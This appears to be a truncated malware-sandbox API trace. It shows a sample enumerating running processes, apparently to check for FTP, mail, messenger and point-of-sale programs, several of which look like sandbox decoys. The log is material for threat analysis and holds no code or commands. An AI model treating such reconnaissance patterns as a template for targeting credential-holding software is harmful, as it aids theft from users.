[0279.463] CloseHandle (hObject=0x21b0) returned 1 [0279.463] Sleep (dwMilliseconds=0x64) [0279.465] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0279.487] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.490] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.491] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.493] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.495] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.497] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.499] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.509] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.542] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.544] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.546] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.548] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.551] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.553] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.554] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.557] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.559] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.561] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.563] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.565] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.567] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.569] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.571] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.574] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.576] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0279.578] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0279.585] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0279.588] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0279.591] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0279.593] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0279.595] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.597] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.599] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0279.601] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.603] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.605] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0279.622] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0279.625] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0279.627] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0279.629] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0279.631] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0279.632] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0279.634] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0279.636] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0279.638] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0279.641] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0279.643] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0279.645] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0279.647] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0279.649] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0279.651] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0279.653] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0279.654] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0279.657] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0279.659] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0279.661] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0279.663] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0279.664] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0279.667] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0279.705] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0279.709] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0279.712] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0279.714] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0279.716] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0279.719] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0279.721] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0279.723] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0279.726] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0279.729] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0279.731] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0279.733] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0279.735] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0279.738] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0279.740] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0279.742] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0279.745] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0279.747] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0279.749] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0279.751] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0279.754] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0279.756] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0279.758] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0279.760] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 